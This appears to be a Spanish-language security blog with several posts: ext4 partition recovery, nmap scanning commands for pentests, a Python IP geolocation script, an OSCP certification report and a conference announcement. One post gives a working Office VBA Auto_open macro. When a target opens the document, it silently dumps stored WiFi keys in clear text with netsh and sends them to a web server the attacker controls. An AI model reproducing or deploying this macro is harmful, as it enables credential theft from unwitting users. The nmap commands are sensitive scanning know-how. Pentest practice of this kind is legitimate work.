viernes, 18 de julio de 2014

Para recuperar una particion perdida en EXT4 (Linux)

Me acaba de pasar...., por un error sobreescribi la tabla de particiones del disco (dd if=/dev/zero of=/dev/sdb), como ocurrio?, la combinacion de distraccion, experimentos y otras cosas, como le pasa a todo el mundo cuando Murphy llama a la puerta no? (igual tenia un backup pero me faltaban dos dias de trabajo uno de ellos importante para los siguientes dias)

Bueno, respecto a la solucion, o por lo menos lo que a mi me funciono, como me di cuenta que estaba sobrescribiendo el disco, pare el proceso al principio pero eso basto para borrar la tabla de particiones, o sea que en teoria, los otros datos permanecen en el disco.

Los blogs refieren a soluciones como gpart, testdisk y otras herramientas para recrear la tabla de particion, los probe sin exito, por lo cual el paso final iba a ser tratar de recuperar los datos mediante herramientas como photorec, easy recovery, o ya puestos FTK.

Antes de eso una ultima prueba con las herramientas de siempre me llevo a lo siguiente (desde un booteable con ubuntu):

root@lubuntu:/# parted /dev/sda
GNU Parted 2.3
Using /dev/sda
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) rescue                                                         
Start?    0
End? 100000 (un numero alto, el sistema realizara una prediccion)

Con ello el sistema logra restaurar la particion, reiniciamos y al tratar de ingresar tenemos errores de acceso, el disco no puede ser montado. Para solucionar ello continuacion cargamos la herramienta fsck:

e2fsck -p -y -f /dev/sda1

La aplicacion realiza una revision del sistema de archivos, pero como borramos la tabla en un determinado momento la herramienta no puede continuar por un error "irreparable", la misma aplicacion nos da dos opciones para continuar con la recuperacion, utilizar dos superblocks que a mi no me funcionaron, que basicamente son "copias" del sistema de archivos ubicadas a lo largo del disco, afortunadamente existen otros sectores adicionales a los dos que por defecto son los siguientes:

  Backup superblock at 32768, Group descriptors at 32769-32774
  Backup superblock at 98304, Group descriptors at 98305-98310
  Backup superblock at 163840, Group descriptors at 163841-163846
  Backup superblock at 229376, Group descriptors at 229377-229382
  Backup superblock at 294912, Group descriptors at 294913-294918
  Backup superblock at 819200, Group descriptors at 819201-819206
  Backup superblock at 884736, Group descriptors at 884737-884742
  Backup superblock at 1605632, Group descriptors at 1605633-1605638
  Backup superblock at 2654208, Group descriptors at 2654209-2654214
  Backup superblock at 4096000, Group descriptors at 4096001-4096006
  Backup superblock at 7962624, Group descriptors at 7962625-7962630
  Backup superblock at 11239424, Group descriptors at 11239425-11239430
  Backup superblock at 20480000, Group descriptors at 20480001-20480006
  Backup superblock at 23887872, Group descriptors at 23887873-23887878
 
 

lunes, 7 de abril de 2014

DragonJAR Security Conference 2014

Desde hace algun tiempo vemos a la gente de DragonJAR, a la cabeza de Jaime Andrés Restrepo, participar de distintas conference de seguridad en iberoamérica, este año la comunidad DragonJAR, presenta la primera edición de su Security Conference a desarrollarse en la ciudad de Manizales entre el 8 y 10 de mayo:

Tengo el agrado de informar que participaré como ponente con dos charlas relacionadas a la Banca Movil y a escenarios de un Ethical Hacking, además existe una excelente cartelera de ponencias, CTF y talleres que seguro constituirán una experiencia enriquecedora para todos los que podamos asistir.



lunes, 3 de febrero de 2014

Laboratorios de Pentest

Los laboratorios de hacking son la mejor herraemienta para probar distintos escenarios de ataque, en la siguiente dirección el autor Aman Hardikar, ha hecho una lista muy completa de distribuciones y aplicaciones vulnerables.

http://www.amanhardikar.com/mindmaps/Practice.html


domingo, 28 de julio de 2013

Comandos nmap para pentest

A continuación un conjunto de comandos de Nmap que utilizo regularmente para los trabajos de pentest:


Deteccion de equipos en la red
nmap -sP <Rango de IP's>  # Escaneo mediante ICMP hacia el rango de IP's escogidas
nmap -sP -PE -PP -PS21,23,25,80,113,31339 -PA80,113,443,10042 --source-port 53 -T4 -oA <nombre_archivo1> # escaneo avanzado de ICMP mas un conjunto de puertos comunmente utilizados, es recomendable la opcion -oA para reporte y alimentar otros escaneos.

Escaneo rapido
nmap -sSV -F -T4 --top-ports 100 -iL <lista_de_IPs> -oA <nombre_archivo2> #se utiliza para realizar un escaneo rápido de los primeros 100 puertos TCP se puede jugar con el parametro de --top-ports:
--top-ports 500                ## 89% efectividad
--top-ports 3674              ## 100% efectividad
 # se puede cambiar -sS por -sU para puertos UDP, por las características del protocolo es mejor utilizar pocos puertos en el --top-ports (20 es un buen inicio)
 
Detección de vulnerabilidades
Los scripts de nmap para la detección de vulnerabilidades se encuentran usualmente en:
/usr/local/share/nmap/scripts, de acuerdo al servicio identificado se debe escoger un script, por ejemplo si se identifica un puerto de tipo SMB:

nmap -p139,445 --script smb-check-vulns.nse

Saludos !!!

domingo, 16 de junio de 2013

Script de geolocalizacion de multiples IP's

En ocasiones necesitamos analizar la localizacion de multiples IP's, por ejemplo en la revisión de los logs de un evento de seguridad, para ello existen muchos recursos excelentes como http://ip-adress.com/ el cual utilizo a menudo, sin embargo estos servicios son de pago para la identificacion de multiples IP's, existe un servicio gratuito en freegeoip.net para obtener datos de una IP en particular, en esta ocasion adjunto un script que permite obtener la localizacion y otros datos de freegeoip para multiples direcciones escrito en python:

 # -*- coding: utf-8 -*-  
 # Python  
 # Script para localización geográfica de IP - Boris Murillo  
 import sys  
 import re  
 import string  
 import httplib  
 import urllib2  
 import re  
 # Contruccion de la conexion a través de proxy  
 proxy_info = {  
 'user' : '',  
 'pass' : '',  
 'host' : "localhost",  
 'port' : 8080  
 }  
 proxy_support = urllib2.ProxyHandler({"http" : "http://%(user)s:%(pass)s@%(host)s:%(port)d" % proxy_info})  
 # Funcion para verificar si no es una IP interna  
 def ip_interno(ip):  
      if ip[0] == "10" and ip[2] == ".":  
           return True  
      else: return False  
 # Funcion de consulta de IP  
 def buscar_ip(dir_ip):  
      try:  
           results = 'http://freegeoip.net/csv/'+str(dir_ip)  
           request = urllib2.Request(results)  
           request.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0')  
           opener = urllib2.build_opener(proxy_support, urllib2.HTTPHandler)  
           urllib2.install_opener(opener)  
           text = opener.open(request).read()  
           return text  
      except IOError:  
           print "No es posible conectarse con el proveedor"+""  
 # Uso de la herramienta  
 if len(sys.argv) != 2:  
     print "\nObtiene la Localizacion Geografica de una Direccion IP.\n"  
     print "\nUso : ./localizar.py <ARCHIVO_CON_IP's>\n"  
     sys.exit(1)  
 archivo=sys.argv[1]  
 # Lanzamiento de programa            
 ins = open( archivo, "r" )   
 for ip in ins:   
      if ip_interno(ip) == False:  
           print buscar_ip(ip)  

Para lanzar la herramienta basta con ejecutar el archivo localizar.py seguido del nombre del archivo con las direcciones IP

Saludos

sábado, 23 de febrero de 2013

Como obtener clave de WiFI (WEP - WPA2) a traves de macros

Cuando se verifica la seguridad de la infraestructura de red inalambrica (WiFi), se suelen realizar pruebas sobre la configuracion de seguridad de la red y la fortaleza del protocolo utilizado, a continuacion un vector de ataque adicional: un ataque a los clientes de dicha red, robando sus credenciales.

Muchos ya conoceran las herramientas de Nirsoft para la recuperacion de passwords, la idea con esta prueba es la misma, obtener la clave almacenada en el registro para luego ser enviada a un determinado sitio (bajo ciertas condiciones).

Para ello existe un comando muy util que nos permitira obtener las claves desde el registro:

netsh wlan export profile folder=. key=clear

Podemos cargar dicha clave en una macro de office para su ejecucion, enviando el resultado a un servidor web bajo nuestro poder:

Sub Auto_open()
    Set fs = CreateObject("Scripting.FileSystemObject")
    Set a = fs.CreateTextFile("mw.bat", True)
    a.writeline "@echo off"
    a.writeline "@netsh wlan export profile folder=. key=clear"
    a.writeline "@for /f ""delims="" %%i in ('find ""keyMaterial"" *.xml') do set contenido=""%%i"""
    a.writeline "@start http://200.XXX.XXX.XXX/?%contenido%"
    Call Shell(Environ$("COMSPEC") & " /c mw.bat", vbHide)
End Sub

Cuando el objetivo ejecute el macro, enviara automaticamente los datos obtenidos hacia el sitio web, en los cuales se encontrará la clave en texto claro, si esta no tiene el parámetro "protected=true" en la configuracion del XML, para mayor informacion acerca de este ultimo punto vean este sitio.

Saludos

Boris

domingo, 17 de febrero de 2013

Obtuve el OSCP (Offensive Security Certified Professional)


Offensive Security es la empresa que se encuentra detras de la distribucion Backtrack (pronto Kali?), la cual se concentra justamente en el uso de esta distribucion, conjuntamente con la metodologia y herramientas necesarias para realizar un penetration test, se diferencia de otras certificaciones de hacking en que el curso se lleva a cabo con acceso remoto a un laboratorio que simula distintos entornos y vulnerabilidades y la certificacion se la gana con un examen en otro entorno de laboratorio, donde se debe acceder (hackear) a un conjunto de equipos para obtener la calificacion necesaria para certificarse, lo cual la hace una certificacion muy respetada en el entorno de profesionales de seguridad especializados en Ethical Hacking.

Realmente es un curso muy recomendable en cuanto a material y en general al espiritu del curso que se centra en lo que realiza un pen tester: la investigacion bajo el lema de "Try Harder", este curso me permitio mejorar las habilidades relacionadas con el hacking, de tal modo que la semana pasada tomé el examen de certificacion (24 horas de examen + 24 horas para la entrega de un informe), y 3 dias despues recibí la noticia: obtuve la certificacion OSCP.

Para mayor informacion al respecto pueden visitar el sitio de Offensive Security.


Boris